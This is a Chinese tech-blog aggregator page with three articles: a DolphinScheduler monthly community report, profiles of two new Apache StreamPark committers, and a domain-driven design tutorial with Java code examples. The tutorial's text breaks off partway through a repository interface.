首页 文章 精选 留言 我的

精选列表

搜索[最权威安装],共10026篇文章
优秀的个人博客,低调大师

DolphinScheduler 11 月值得关注的变化

各位热爱 Apache DolphinScheduler 的小伙伴们,11 月社区月报来啦! 本期 Apache DolphinScheduler 11 月月报全面回顾了社区在过去一个月中的重要进展,包括核心模块的缺陷修复、功能增强、文档完善、CI 稳定性提升,以及 Helm、UI、Registry 等多方向的改进。同时,本月 "Merge Stars" 多达十余位,跨国贡献者持续提升 Apache 项目的全球影响力,向所有为 Apache DolphinScheduler 作出贡献的社区成员致以特别感谢。 月报亮点 多项关键 Bug 完成修复:涵盖 API、Master、Registry 等多个核心模块,显著提升系统稳定性。 功能持续增强:包括 SQL 任务取消能力、日志查询优化、Prometheus 认证支持、K8S 环境适配等实用增强。 文档升级与生态完善:新增注册表插件文档、负载均衡文档更新,以及安全文档联系人调整,更有助于用户快速理解系统。 CI/测试体系更稳健:多项 Chore 优化修复 CI 不稳定问题,并补充了 taskGroup、禁止条件任务等集成测试。 Helm Chart 新能力上线:worker StatefulSet 支持密钥与 init 容器,使 K8S 部署更加灵活。 月度Merge Stars 感谢以下小伙伴上个月为 Apache DolphinScheduler 做的精彩贡献(排名不分先后): @KwongHing,@qiong-zhou,@kvermeulen,@ruanwenjun,@ChaoquanTao,@det101,@dill21yu,@SbloodyS,@Mrhs121,@CauliflowerEater,@jmmc-tools,@sdhzwc,@njnu-seafish apache/dolphinscheduler仓库 修复 [Fix-17721] [API]优化查询下游依赖工作流定义的逻辑 @det101 [Fix-17638][API]优化工作流血缘更新逻辑 @det101 [Fix-17668] [jdbc-registry]旨在清理超过N小时的历史注册表数据更改事件,但实际上清理了N小时内发生的事件 @qiong-zhou [Fix-17527][registry-api]修复主工作器 API 启动失败,无法由于无效的 ZooKeeper 路径而清理已完成故障转移的节点 @qiong-zhou [Fix-17643] [registry-jdbc]修复未触发 JdbcDataChangeEvent 的死客户端问题 @qiong-zhou [Fix-17637] [API]工作流血缘删除优化 @det101 [Fix-17613] [Master]任务组队列优先级始终为 0 @KwongHing [Fix-17604][API]正确分配和移除工作组到项目的逻辑 @Mrhs121 [Fix-17534][Service/Master]从当前工作流实例中添加全局参数和varpool,并将它们添加到子工作流触发请求的开始参数列表中。 @kvermeulen 优化 [Improvement-17749][UI][DATAX]datax json 参数校验改进 @sdhzwc [Improvement-17738][Dependency]升级 PostgreSQL JDBC 驱动以修复 CVE-2024-1597 @dill21yu [Improvement-17697][SqlTask]支持取消 SQL 任务 @ruanwenjun [Improvement-17664][Master]定期清理注册表中的故障转移标记 @ruanwenjun [Improvement-17573][UI]更新UI标签及相关变量名称及升级脚本 @CauliflowerEater [Doc-17616][Improvement]添加注册表插件使用文档 @SbloodyS [Improvement-17649][registry-jdbc]更正"DataChance的拼写错误 @qiong-zhou [Improvement-17647][Resource Center]在上传文件时禁用前端逻辑中的超时限制。 @njnu-seafish [Improvement-12563]向Prometheus端点添加认证功能,并将其适配到Kubernetes(K8S)环境。 @njnu-seafish [Feature-17566][Helm]在 worker 有状态集添加密钥和初始化容器 @jmmc-tools [Improvement-17025][UI]优化查询日志以避免无限递归调用 @ChaoquanTao 其他 [Doc-17728][Master]更新负载均衡文档 @Mrhs121 [Chore]修复 sonar 错误 @SbloodyS [Doc-17472]更新安全文档联系人 @dill21yu [Chore]使用 taskGroup 添加 IT 案例,且 taskGroupPriority 不同 @ruanwenjun [Chore]修复不稳定的 CI @SbloodyS [Chore]热修复文档 CI 错误 @SbloodyS [Chore]API日志中的掩码令牌 @ruanwenjun [Chore]将IT案例添加到验证禁止条件任务中。 @ruanwenjun [DSIP-92][Master]重构工作流串行策略 @ruanwenjun

优秀的个人博客,低调大师

史上年轻的 Apache Committer 诞生!!!

在 Apache StreamPark 被数以千计的星星和诸多荣誉的眷顾下,用户越来越多,遍布各个行业。这一切的背后都是因为有一帮热爱开源,愿意投身开源项目建设的贡献者。这其中有一批 “00 后” 的新星正悄然在社区崭露头角,他们正用自己的实际行动书写着自己的开源故事。Apache StreamPark 社区近日迎来了两位 “00” 后 Committer,下面让我们一睹两位 Committer 的风采。 新晋 Committer之张超篇 很开心能够被提名为 Apache StreamPark 的 Committer!非常感谢支持社区的每一位小伙伴!也感谢参与项目时社区的各位技术大拿们给予的指导和帮助! 主要贡献 Apache StreamPark 进入 Apache 孵化器期间参与从 MySQL 到 H2 数据库的适配 变更 Mybatis-Plus 配置方式,简化配置文件配置项 完善用户模块删除功能,部分前后端功能开发与适配,并追踪后续讨论、改进 参与整理、完成代码风格和质量指南文档,并参与相关代码规范的推进工作 参与官网文档的改进,完成中英文文档编写各 2 篇、翻译 15篇以及其他文档完善 结缘社区 对我来说,Apache 不仅仅是一个技术社区,它更像是一种信仰。在我还是个初学者的时候,提起 Apache Tomcat、Apache Maven 这样的顶级项目,它们在我的心中就好像是编程世界的神话传说。对于热爱编程的我而言,Apache 代表着技术的极致、创新的精神,激励着我不断前行。想到有一天可能成为这个信仰的一份子,和全球的技术大牛们肩并肩,这种感觉,就像是梦想变成现实。 我参与 Apache StreamPark 提交的第一个 PR 是处理客户端发起 GET 请求时携带了 “undefined”问题,是在 2022 年8 月 28 日提交的,只用了一行箭头函数的代码就解决!持续贡献到现在也已经一年多了。 在我印象中,那时ApacheStreamPark 还叫 StreamX,整个团队都在为加入 Apache 孵化器做准备,这时项目急需对 H2 数据库进行适配,而我正好是 Mybatis-Plus 的开发者。PMC 成员华杰哥[1]邀请我一同参与,我立马答应了下来,然后开始从零了解 Apache StreamPark。即刻怀揣着兴奋的心情,连夜肝代码。第一个挑战是 Windows 下的开发环境配置,消耗九牛二虎之力,总算终于跑通了代码!等我抬头一看发现天都亮了——时间真会玩,就这么偷偷溜走了: )。 后面我在陆陆续续参与开发中也遇到很多问题,记得印象很深的一次是有一天晚上在进行 Apache StreamPark 前端开发时,遇到一个前端组件的 BUG,处理了半天无果,最后求助社区的 PPMC 成员思柱哥[2]。思柱哥不仅帮我解决了问题,还手把手教我原理,真的很感谢思柱哥!这也是我切身感受到参与开源的乐趣之一,有很多技术大拿愿意带着你成长。 今年八月,我有幸去北京参加了 Apache Community Over Code 2023[3]。跟 Apache 社区的大佬们近距离接触,真是开眼界了。Apache Way 最让我印象深刻的就是 “社区大于代码” 这个理念。特别是听了 Apache Pulsar PMC 成员小狐狸小姐姐的演讲后,我就豁然开朗:开源项目不仅仅是代码,也需要一个文档来告诉你它怎么运作。因此我主动请缨参与文档的完善工作,帮助社区文档更友好! 我每天都会坚持写一篇博客,哪怕没什么可写的技术题材,我也会坚持随便积累一点。顺带一提我在任何地方都可以打开电脑写代码,譬如咖啡厅、飞机上、地铁上等,甚至我去韩国旅游时也在随便找的一家咖啡厅处理 issue。 社区印象 社区的大佬们真的各显神通,在ApacheStreamPark 社区里经常有热心技术大拿愿意提供帮助。并且也进一步地学习到不少开发规范和实用技巧,就比如让代码 “一尘不染” 的工具 Spotless、以及 Vue3 的知识点掌握等!在ApacheStreamPark 有一个使用登记收集的 Issue,其中有一条特别引起了我的注意:来自 “袁隆平农业高科技股份有限公司” 的使用登记。这家公司的名字源于杂交水稻之父袁隆平老先生,我为身处的社区能服务于这样一家公司感到超级自豪。参与开源真的是一件很酷的事情! 寄 语 从ApacheStreamPark 进入 Apache 孵化器,到现在一周年已经过去啦,期间让人感动的瞬间数不胜数!期待更多小伙伴的加入和陪伴,咱们一同见证其从孵化器毕业,进一步为实时领域发展作出贡献! 新晋 Committer之蔡灿材篇 非常荣幸被提名为 ApacheStreamPark 的 Committer!感谢社区的信任和肯定!感谢历次讨论、设计、协作和 review 过程中社区开发者给予的指导和帮助! 主要贡献 参与 Kubernetes V2 Operator 重构 streampark-flink-kubernetes 模块 测试、修复 streamp-flink-kubernetes 模块并补充单元测试 积极参与方案讨论、规范制定和代码 Review 修复并完善官网文档 结缘社区 ApacheStreamPark 算是我第一个正式参与的开源项目,与社区结缘主要是因为 StremaPark PPMC 成员余林颖哥[4](Al-assad)。那时候我想加入开源社区,但又觉得自己实力太菜,所以一直没付诸行动。后面 Al-assad 就问我要不要参与 ApacheStreamPark 社区,说有很多工作可以做,那时候我还有点怕自己会拖后腿,但大佬说有他兜底。我也就抱着试一试态度去参加了。 刚进社区,我就接下了三个 feature(真是初生牛犊不怕虎),真实情况是因为那三个 feature 是很类似的需求,我就想一个是做,两个也是做,那就一起接过来算了。一开始环境搭建在社区的各位大佬的帮助下,也是花了一星期时间成功搭建好了,后面就开始漫长的 debug 之旅。 在 debug 过程中,我也发现 ApacheStreamPark 的一些问题,提了一些 PR 进行修复。令我比较惊讶的是,我的每个 PR 社区都回复的很快,并提了很多改进的意见、让我学到了很多,也让我更有动力。印象比较深的是:在完成第一个 feature 时,我写的代码其实很丑陋,几个 PMC 成员们非凡不嫌弃还提了很多修改意见、鼓励我慢慢改进,最后还是林颖哥出手才让我第一个 feature 成功完成,那时候感觉自己帮了倒忙,感觉很不好意思。但 Al-assad 鼓励我说是新人是这样的啦,多进行尝试就好了。在对第一个 feature 进行认真 review 代码后,我后面两个 feature 也顺利完成了(虽然也是磕磕绊绊)。还记得最后一个 feature 合并的时候,我的心情都激动得快哭了,原来我也能做到自己曾经大学可望而可不及的事情(开源之夏)。记得之前有人看某个开源项目的时候,跟我说,你看这个人和你和你差不多大已经完成了三个 feature了,我那时候在想什么时候我也能这么牛叉就好了,没想到过了没多久我也成为了 “这样的人”,哈哈。 一开始,我打算搞完这三个 feature 就不参与社区了,后面认识了社区很多优秀的开发者让我改变了这个想法,ApacheStreamPark 社区开发者们非常的团结友善,核心贡献者们更是牺牲休息时间投入到项目中,知道这一点的时候我十分吃惊。所以在这里你能认识一群真正热爱代码的人,我十分感谢在 ApacheStreamPark 社区遇到每一位开发者,他们教会了我很多。在这个社区,我仿佛意识到开源精神的某种含义。 寄 语 当然是希望 ApacheStreamPark 社区越来越好啦,毕竟是我参加开源以来第一个加入的社区,期待新的小伙伴能加入进来,一起建设社区。如果是新手也不用害怕,我也是新手不也成功加入进来了吗。祝 Apache StreamPark 能够早日孵化成功, 祝各位 ApacheStreamPark 社区的小伙伴都玩得开心,have fun! **加 入 我 们** ApacheStreamPark 是一个流处理应用程序开发管理框架。初衷是让流处理更简单,旨在轻松构建和管理流处理应用程序,提供使用 Apache Flink 和 Apache Spark 编写流处理应用程序的开发框架,未来将支持更多其他引擎。同时,ApacheStreamPark 提供了一个流处理应用管理平台,核心能力包括但不限于应用开发、调试、交互查询、部署、运维、实时数仓等,于 2022 年 9 月通过投票正式成为 Apache 开源软件基金会的孵化项目。 ApacheStreamPark 社区一直以来都以用心做好一个项目为原则,高度关注项目质量,努力建设发展社区。我们时刻保持开发者谦逊朴素的本质,认真学习和遵循「The Apache Way」,秉承更加兼容并包的心态,迎接更多的机遇与挑战。诚挚欢迎更多的贡献者参与到社区建设中来,和我们一道携手共建。 💻 项目地址:https://github.com/apache/streampark 🧐 提交问题和建议:https://github.com/apache/streampark/issues 🥁 贡献代码:https://github.com/apache/streampark/pulls 📮 Proposal:https://cwiki.apache.org/confluence/display/INCUBATOR/StreamPark+Proposal 📧 订阅社区开发邮件列表:**dev@streampark.apache.org 💁‍♀️社区沟通: 参考资料 [1]https://github.com/wolfboys [2]https://github.com/wangsizhu0504 [3]https://communityovercode.org [4]https://github.com/Al-assad

优秀的个人博客,低调大师

迄今为止完整的DDD实践

一、为什么需要DDD 复杂系统设计:系统多,业务逻辑复杂,概念不清晰,有什么合适的方法帮助我们理清楚边界,逻辑和概念? 多团队协同:边界不清晰,系统依赖复杂,语言不统一导致沟通和理解困难。有没有一种方式把业务和技术概念统一,大家用一种语言沟通。例如:航程是大家所理解的航程吗? 设计与实现一致性:PRD,详细设计和代码实现天差万别。有什么方法可以把业务需求快速转换为设计,同时还要保持设计与代码的一致性? 架构统一,可复用资产和扩展性:当前取决于开发的同学具备很好的抽象能力和高编程的技能。有什么好的方法指导我们做抽象和实现。 二、DDD的价值 边界清晰的设计方法:通过领域划分,识别哪些需求应该在哪些领域,不断拉齐团队对需求的认知,分而治之,控制规模。 统一语言:团队在有边界的上下文中有意识地形成对事物进行统一的描述,形成统一的概念(模型)。 业务领域的知识沉淀:通过反复论证和提炼模型,使得模型必须与业务的真实世界保持一致。促使知识(模型)可以很好地传递和维护。 面向业务建模:领域模型与数据模型分离,业务复杂度和技术复杂度分离。 三、DDD架构 3.1 分层架构 用户接口层:调用应用层完成具体用户请求。包含:controller,远程调用服务等 应用层App:尽量简单,不包含业务规则,而只为了下一层中的领域对象做协调任务,分配工作,重点对领域层做编排完成复杂业务场景。包含:AppService,消息处理等 领域层Domain:负责表达业务概念和业务逻辑,领域层是系统的核心。包含:模型,值对象,域服务,事件 基础层:对所有上层提供技术能力,包括:数据操作,发送消息,消费消息,缓存等 调用关系:用户接口层->应用层->领域层->基础层 依赖关系:用户接口层->应用层->领域层->基础层 3.2 六边形架构 六边形架构:系统通过适配器的方式与外部交互,将应用服务于领域服务封装在系统内部 分层架构:它依然是分层架构,它核心改变的是依赖关系。 领域层依赖倒置:领域层依赖基础层倒置成基础层依赖领域层,这个简单的变化使得领域层不依赖任务层,其他层都依赖领域层,使得领域层只表达业务逻辑且稳定。 3.3 调用链路 四、DDD的基本概念 4.1 领域模型 领域(战略):业务范围,范围就是边界。 子领域:领域可大可小,我们将一个领域进行拆解形成子领域,子领域还可以进行拆解。当一个领域太大的时候需要进行细化拆解。 模型(战术):基于某个业务领域识别出这个业务领域的聚合,聚合根,界限上下文,实体,值对象。 4.1.1 核心域 决定产品和公司核心竞争力的子域是核心域,它是业务成功的主要因素和公司的核心竞争力。直接对业务产生价值。 4.1.2 通用域 没有太多个性化的诉求,同时被多个子域使用的通用功能子域是通用域。例如,权限,登陆等等。间接对业务产生价值。 4.1.3 支撑域 支撑其他领域业务,具有企业特性,但不具有通用性。间接对业务产生价值。 4.1.4 为什么要划分核心域、通用域和支撑域 一个业务一定有他最重要的部分,在日常做业务判断和需求优先级判断的时候可以基于这个划分来做决策。例如:一个交易相关的需求和一个配置相关的需求排优先级,很明显交易是核心域,规则是支持域。同样我们认为是支撑域或者通用域的在其他公司可能是核心域,例如权限对于我们来说是通用域,但是对于专业做权限系统的公司,这个是核心域。 4.2 限界上下文(战略) 业务的边界的划分,这个边界可以是一个领域或者多个领域的集合。复杂业务需要多个域编排完成一个复杂业务流程。限界上下文可以作为微服务划分的方法。其本质还是高内聚低耦合,只是限界上下文只是站在更高的层面来进行划分。如何进行划分,我的方法是一个界限上下文必须支持一个完整的业务流程,保证这个业务流程所涉及的领域都在一个限界上下文中。 4.3 实体(ENTITY) 定义:实体有唯一的标识,有生命周期且具有延续性。例如一个交易订单,从创建订单我们会给他一个订单编号并且是唯一的这就是实体唯一标识。同时订单实体会从创建,支付,发货等过程最终走到终态这就是实体的生命周期。订单实体在这个过程中属性发生了变化,但订单还是那个订单,不会因为属性的变化而变化,这就是实体的延续性。 实体的业务形态:实体能够反映业务的真实形态,实体是从用例提取出来的。领域模型中的实体是多个属性、操作或行为的载体。 实体的代码形态:我们要保证实体代码形态与业务形态的一致性。那么实体的代码应该也有属性和行为,也就是我们说的充血模型,但实际情况下我们使用的是贫血模型。贫血模型缺点是业务逻辑分散,更像数据库模型,充血模型能够反映业务,但过重依赖数据库操作,而且复杂场景下需要编排领域服务,会导致事务过长,影响性能。所以我们使用充血模型,但行为里面只涉及业务逻辑的内存操作。 实体的运行形态:实体有唯一ID,当我们在流程中对实体属性进行修改,但ID不会变,实体还是那个实体。 实体的数据库形态:实体在映射数据库模型时,一般是一对一,也有一对多的情况。 4.4 值对象(VALUEOBJECT) 定义:通过对象属性值来识别的对象,它将多个相关属性组合为一个概念整体。在 DDD 中用来描述领域的特定方面,并且是一个没有标识符的对象,叫作值对象。值对象没有唯一标识,没有生命周期,不可修改,当值对象发生改变时只能替换(例如String的实现)。 值对象的业务形态:值对象是描述实体的特征,大多数情况一个实体有很多属性,一般都是平铺,这些数据进行分类和聚合后能够表达一个业务含义,方便沟通而不关注细节。 值对象的代码形态:实体的单一属性是值对象,例如:字符串,整型,枚举。多个属性的集合也是值对象,这个时候我们把这个集合设计为一个CLASS,但没有ID。例如商品实体下的航段就是一个值对象。航段是描述商品的特征,航段不需要ID,可以直接整体替换。商品为什么是一个实体,而不是描述订单特征,因为需要表达谁买了什么商品,所以我们需要知道哪一个商品,因此需要ID来标识唯一性。 我们看一下下面这段代码,person这个实体有若干个单一属性的值对象,比如Id、name等属性;同时它也包含多个属性的值对象,比如地址address。 值对象的运行形态:值对象创建后就不允许修改了,只能用另外一个值对象来整体替换。当我们修改地址时,从页面传入一个新的地址对象替换调用person对象的地址即可。如果我们把address设计成实体,必然存在ID,那么我们需要从页面传入的地址对象的ID与person里面的地址对像的ID进行比较,如果相同就更新,如果不同先删除数据库在新增数据。 值对象的数据库形态:有两种方式嵌入式和序列化大对象。 案例1:以属性嵌入的方式形成的人员实体对象,地址值对象直接以属性值嵌入人员实体中。 当我们只有一个地址的时候使用嵌入式比较好,如果多个地址必须有序列化大对象,同时可以支持搜索。 案例2:以序列化大对象的方式形成的人员实体对象,地址值对象被序列化成大对象Json串后,嵌入人员实体中。 支持多个地址存储,不支持搜索。 值对象的优势和局限: 简化数据库设计,提升数据库操作的性能(多表新增和修改,关联表查询)。 虽然简化数据库设计,但是领域模型还是可以表达业务。 序列化的方式会使搜索实现困难(通过搜索引擎可以解决)。 4.5 聚合和聚合根 多个实体和值对象组成的我们叫聚合,聚合的内部一定的高内聚。这个聚合里面一定有一个实体是聚合根。 聚合与领域的关系:聚合也是范围的划分,领域也是范围的划分。领域与聚合可以是一对一,也可以是一对多的关系。 聚合根的作用是保证内部的实体的一致性,对外只需要对聚合根进行操作。 4.6 限界上下文,域,聚合,实体,值对象的关系 领域包含限界上下文,限界上下文包含子域,子域包含聚合,聚合包含实体和值对象。 4.7 事件风暴 参与者 除了领域专家,事件风暴的其他参与者可以是DDD专家、架构师、产品经理、项目经理、开发人员和测试人员等项目团队成员。 事件风暴准备的材料 一面墙和一支笔。 事件风暴的关注点 在领域建模的过程中,我们需要重点关注这类业务的语言和行为。比如某些业务动作或行为(事件)是否会触发下一个业务动作,这个动作(事件)的输入和输出是什么?是谁(实体)发出的什么动作(命令),触发了这个动作(事件)…我们可以从这些暗藏的词汇中,分析出领域模型中的事件、命令和实体等领域对象。 实体执行命令产生事件。 业务场景的分析 通过业务场景和用例找出实体,命令,事件。 领域建模 领域建模时,我们会根据场景分析过程中产生的领域对象,比如命令、事件等之间关系,找出产生命令的实体,分析实体之间的依赖关系组成聚合,为聚合划定限界上下文,建立领域模型以及模型之间的依赖。领域模型利用限界上下文向上可以指导微服务设计,通过聚合向下可以指导聚合根、实体和值对象的设计。 五、如何建模 用例场景梳理:就是一句话需求,但我们需要把一些模糊的概念通过对话的方式逐步得到明确的需求,在加以提炼和抽象。 建模方法论:词法分析(找名词和动词),领域边界 模型验证 5.1 协同单自动化分单案例 5.1.1 领域建模 需求:我们需要把系统自动化失败转人工订单自动分配给小二,避免人工挑单和抢单,通过自动分配提升整体履约处理效率。 产品小A:把需求读了一遍.......。 开发小B:那就是将履约单分配给个小二对吧? 产品小A:不对,我们还需要根据一个规则自动分单,例如退票订单分给退票的小二 开发小B:恩,那我们可以做一个分单规则管理。例如:新增一个退票分单规则,在里面添加一批小二工号。履约单基于自身属性去匹配分单规则并找到一个规则,然后从分单规则里面选择一个小二工号,履约单写入小二工号即可。 产品小A:分单规则还需要有优先级,其中小二如果上班了才分配,如果下班了就不分配。 开发小B:优先级没有问题,在匹配分单规则方法里面按照优先级排序即可,不影响模型。而小二就不是简单一个工号维护在分单规则中,小二有状态了。 产品小A:分单规则里面添加小二操作太麻烦了,例如:每次新增一个规则都要去挑人,人也不一定记得住,实际客服在管理小二的时候是按照技能组管理的。 开发小B:恩,懂了,那就是通过新增一个技能组管理模块来管理小二。然后在通过分单规则来配置1个技能组即可。获取一个小二工号就在技能组里面了。 开发小B:总感觉不对,因为新增一个自动化分单需求,履约单就依赖了分单规则,履约单应该是一个独立的域,分单不是履约的能力,履约单实际只需要知道处理人是谁,至于怎么分配的他不太关心。应该由分单规则基于履约单属性找匹配一个规则,然后基于这个规则找到一个小二。履约单与分单逻辑解耦。 产品小A:分单要轮流分配或者能者多劳分配,小二之前处理过的订单和航司优先分配。 开发小B:获取小二的逻辑越来越复杂了,实际技能组才是找小二的核心,分单规则核心是通过履约单特征得到一个规则结果(技能组ID,分单策略,特征规则)。技能组基于分单规则的结果获得小二工号。 产品小A:还漏了一个信息,就是履约单会被多次分配的情况,每一个履约环节都可能转人工,客服需要知道履约单被处理多次的情况 开发小B:那用履约单无法表达了,我们需要新增一个概念叫协同单,协同单是为了协同履约单,通过协同推进履约单的进度。 产品小A:协同单概念很好,小二下班后,如果没有处理完,还可以转交给别人。 开发小B:恩,那只需要在协同单上增加行为即可。 5.1.2 领域划分 沟通的过程就是推导和验证模型的过程,最后进行域的划分: 5.1.3 场景梳理 穷举所有场景,重新验证模型是否可以覆盖所有场景。 场景名称 锁 场景动作 域 域服务 聚合根 方法 创建协同单 无 1、判断关联业务单是否非法 协同单 创建协同单1、问题分类是否符合条件(例如:商家用户发起自营->商家的协同单)2、save 协同单 创建协同单 分配协同单 协同单ID 分配协同单到人.1、判断协同单状态(=待处理)2、记录操作日志3、save 协同单 分配协同单 协同单 分配协同单 受理协同单 协同单ID 处理协同单 协同单 受理协同单1.判断订单状态(=待处理/验收失败)2.更改订单状态(待处理/验收失败->处理中)3.记录操作日志4.save 协同单 受理协同单 转交协同单 协同单ID 转交协同单 协同单 转交协同单1.判断订单状态.(=处理中、待处理)2.校验转交的人是否在正确的组织下面3.更改协同人值对象(同一组织下的不同人,从坐席管理域中取)4.记录操作日志5.save 协同单 转交协同单 关闭协同单 协同单ID 关闭协同单 协同单 关闭协同单1.判断订单状态(=处理中、待处理)2.更改订单状态(关闭)3.记录操作日志4.save 协同单 关闭协同单 处理协同单 协同单ID 处理协同单 协同单 处理协同单1.判断订单状态(=处理中)2.更改订单状态(处理中->待验收)3.记录操作日志4.save 协同单 处理协同单 驳回协同单 协同单ID 驳回协同单 协同单 驳回协同单1.判断订单状态(=待验收)2.更改订单状态(待验收->处理中)3.记录操作日志4.save 协同单 驳回协同单 完结协同单 协同单ID 完结协同单 协同单 完结协同单1.判断订单状态(=待验收)2.更改订单状态(待验收->已完结)3.记录操作日志4.save 协同单 完结协同单 拒绝协同单 协同单ID 拒绝协同单 协同单 拒绝协同单1.判断订单状态(=处理中、待处理)2.更改订单状态(已拒绝)3.记录操作日志4.save 协同单 拒绝协同单 催单 协同单ID 催单 协同单 催单1.判断订单状态(=处理中、待处理)2、修改催单值对象3、记录操作日志4、save 协同单 催单 六、怎么写代码 6.1 DDD规范 每一层都定义了相应的接口主要目的是规范代码: application:CRQS模式,ApplicationCmdService是command,ApplicationQueryService是query service:是领域服务规范,其中定义了DomainService,应用系统需要继承它。 model:是聚合根,实体,值对象的规范。 Aggregate和BaseAggregate:聚合根定义 Entity和BaseEntity:实体定义 Value和BaseValue:值对象定义 Param和BaseParam:领域层参数定义,用作域服务,聚合根和实体的方法参数 Lazy:描述聚合根属性是延迟加载属性,类似与hibernate。 Field:实体属性,用来实现update-tracing /** * 实体属性,update-tracing * @param <T> */ public final class Field<T> implements Changeable { private boolean changed = false; private T value; private Field(T value){ this.value = value; } public void setValue(T value){ if(!equalsValue(value)){ this.changed = true; } this.value = value; } @Override public boolean isChanged() { return changed; } public T getValue() { return value; } public boolean equalsValue(T value){ if(this.value == null && value == null){ return true; } if(this.value == null){ return false; } if(value == null){ return false; } return this.value.equals(value); } public static <T> Field<T> build(T value){ return new Field<T>(value); } } repository Repository:仓库定义 AggregateRepository:聚合根仓库,定义聚合根常用的存储和查询方法 event:事件处理 exception:定义了不同层用的异常 AggregateException:聚合根里面抛的异常 RepositoryException:基础层抛的异常 EventProcessException:事件处理抛的 6.2 工程结构 6.2.1 application模块 CRQS模式:commad和query分离。 重点做跨域的编排工作,无业务逻辑。 6.2.2 domain模块 域服务,聚合根,值对象,领域参数,仓库定义 6.2.3 infrastructurre模块 所有技术代码在这一层。mybatis,redis,mq,job,opensearch代码都在这里实现,domain通过依赖倒置不依赖这些技术代码和JAR。 6.2.4 client模块 对外提供服务 6.2.5 model模块 内外都要用的共享对象 6.3 代码示例 6.3.1 application示例 public interface CaseAppFacade extends ApplicationCmdService { /** * 接手协同单 * @param handleCaseDto * @return */ ResultDO<Void> handle(HandleCaseDto handleCaseDto); } public class CaseAppImpl implements CaseAppFacade { @Resource private CaseService caseService;//域服务 @Resource CaseAssembler caseAssembler;//DTO转Param @Override public ResultDO<Void> handle(HandleCaseDto handleCaseDto) { try { ResultDO<Void> resultDO = caseService.handle(caseAssembler.from(handleCaseDto)); if (resultDO.isSuccess()) { pushMsg(handleCaseDto.getId()); return ResultDO.buildSuccessResult(null); } return ResultDO.buildFailResult(resultDO.getMsg()); } catch (Exception e) { return ResultDO.buildFailResult(e.getMessage()); } } } mapstruct:VO,DTO,PARAM,DO,PO转换非常方便,代码量大大减少。 CaseAppImpl.handle调用域服务caseService.handle。 6.3.2 domainService示例 public interface CaseService extends DomainService { /** * 接手协同单 * * @param handleParam * @return */ ResultDO<Void> handle(HandleParam handleParam); } public class CaseServiceImpl implements CaseService { @Resource private CoordinationRepository coordinationRepository; @Override public ResultDO<Void> handle(HandleParam handleParam) { SyncLock lock = null; try { lock = coordinationRepository.syncLock(handleParam.getId().toString()); if (null == lock) { return ResultDO.buildFailResult("协同单handle加锁失败"); } CaseAggregate caseAggregate = coordinationRepository.query(handleParam.getId()); caseAggregate.handle(handleParam.getFollowerValue()); coordinationRepository.save(caseAggregate); return ResultDO.buildSuccessResult(null); } catch (RepositoryException | AggregateException e) { String msg = LOG.error4Tracer(OpLogConstant.traceId(handleParam.getId()), e, "协同单handle异常"); return ResultDO.buildFailResult(msg); } finally { if (null != lock) { coordinationRepository.unlock(lock); } } } } 领域层不依赖基础层的实现:coordinationRepository只是接口,在领域层定义好,由基础层依赖领域层实现这个接口。 业务逻辑和技术解耦:域服务这层通过调用coordinationRepository和聚合根将业务逻辑和技术解耦。 聚合根的方法无副作用:聚合根的方法只对聚合根内部实体属性的改变,不做持久化动作,可反复测试。 模型与数据分离: 改变模型:caseAggregate.handle(handleParam.getFollowerValue())。 改变数据:coordinationRepository.save(caseAggregate);事务是在save方法上。 6.3.3 Aggregate,Entity示例 public class CaseAggregate extends BaseAggregate implements NoticeMsgBuilder { private final CaseEntity caseEntity; public CaseAggregate(CaseEntity caseEntity) { this.caseEntity = caseEntity; } /** * 接手协同单 * @param followerValue * @return */ public void handle(FollowerValue followerValue) throws AggregateException { try { this.caseEntity.handle(followerValue); } catch (Exception e) { throw e; } } } public class CaseEntity extends BaseEntity { /** * 创建时间 */ private Field<Date> gmtCreate; /** * 修改时间 */ private Field<Date> gmtModified; /** * 问题分类 */ private Field<Long> caseType; /** * 是否需要支付 */ private Field<Boolean> needPayFlag; /** * 是否需要自动验收通过协同单 */ private Field<Integer> autoAcceptCoordinationFlag; /** * 发起协同人值对象 */ private Field<CreatorValue> creatorValue; /** * 跟进人 */ private Field<FollowerValue> followerValue; /** * 状态 */ private Field<CaseStatusEnum> status; /** * 关联协同单id */ private Field<String> relatedCaseId; /** * 关联协同单类型 * @see 读配置 com.alitrip.agent.business.flight.common.model.dataobject.CoordinationCaseTypeDO */ private Field<String> relatedBizType; /** * 支付状态 */ private Field<PayStatusEnum> payStatus; 省略.... public CaseFeatureValue getCaseFeatureValue() { return get(caseFeatureValue); } public Boolean isCaseFeatureValueChanged() { return caseFeatureValue.isChanged(); } public void setCaseFeatureValue(CaseFeatureValue caseFeatureValue) { this.caseFeatureValue = set(this.caseFeatureValue, caseFeatureValue); } public Boolean isPayStatusChanged() { return payStatus.isChanged(); } public Boolean isGmtCreateChanged() { return gmtCreate.isChanged(); } public Boolean isGmtModifiedChanged() { return gmtModified.isChanged(); } public Boolean isCaseTypeChanged() { return caseType.isChanged(); } 省略.... /** * 接手 */ public void handle(FollowerValue followerValue) throws AggregateException { if (isWaitProcess()||isAppointProcess()) { this.setFollowerValue(followerValue); this.setStatus(CaseStatusEnum.PROCESSING); this.setGmtModified(new Date()); initCaseRecordValue(CaseActionNameEnum.HANDLE, null, followerValue); } else { throwStatusAggregateException(); } } 省略.... } 充血模型VS贫血模型: 充血模型:表达能力强,代码高内聚,领域内封闭,聚合根内部结构对外不可见,通过聚合根的方法访问,适合复杂企业业务逻辑。 贫血模型:业务复杂之后,逻辑散落到大量方法中。 规范大于技巧:DDD架构可以避免引入一些其他概念,系统只有域,域服务,聚合根,实体,值对象,事件来构建系统。 聚合根的reconProcess的方法的业务逻辑被reconHandler和reconRiskHandler处理,必然这些handler要访问聚合根里面的实体的属性,那么逻辑就会散落。修改后: 没有引入其他概念,都是在聚合根里面组织实体完成具体业务逻辑,去掉了handler这种技术语言。 聚合根和实体定义的方法是具备单一原则,复用性原则与使用场景无关,例如:不能定义手工创建协调单和系统自动创建协同单,应该定义创建协同单。 Update-tracing:handle方法修改属性后,然后调用 coordinationRepository.save(caseAggregate),我们只能全量属性更新。Update-tracing是监控实体的变更。Entiy定义属性通过Field进行包装实现属性的变更状态记录,结合mapstruct转换PO实现Update-tracing。 修改了mapstruct生成转换代码的源码,修改后生成的代码: if(caseEntity.isAppended() || caseEntity.isCaseTypeChanged()){ casePO.setCaseType( caseEntity.getCaseType() ); } 当属性被改变后就转换到po中,这样就可以实现修改后的字段更新。 idea的get和set方法自动生成:由于使用field包装,需要自定义get和set生成代码。 6.3.4 Repository示例 public interface CoordinationRepository extends Repository { /** * 保存/更新 * @param aggregate * @throws RepositoryException */ 